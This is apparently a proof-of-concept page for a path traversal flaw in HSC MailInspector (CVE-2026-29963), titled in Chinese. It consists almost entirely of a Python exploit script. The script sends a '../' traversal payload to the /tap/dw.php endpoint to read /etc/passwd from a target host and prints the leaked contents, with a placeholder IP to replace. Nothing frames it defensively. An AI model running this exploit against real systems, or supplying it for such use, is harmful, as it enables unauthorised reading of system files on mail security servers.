CVE-2026-29963 HSC MailInspector路径遍历漏洞

import requests def exploit(target_ip): # Target endpoint vulnerable to path traversal url = f"http://{target_ip}/tap/dw.php" # Payload aiming to read /etc/passwd # Using '../' to traverse up the directory structure payload = { "text": "../../../../../../etc/passwd" } try: response = requests.post(url, data=payload, timeout=5) # Check if standard Linux file content is returned if response.status_code == 200 and "root:x" in response.text: print("[+] Exploit successful! File content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print(f"Status: {response.status_code}") print(f"Response: {response.text[:200]}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target exploit(target)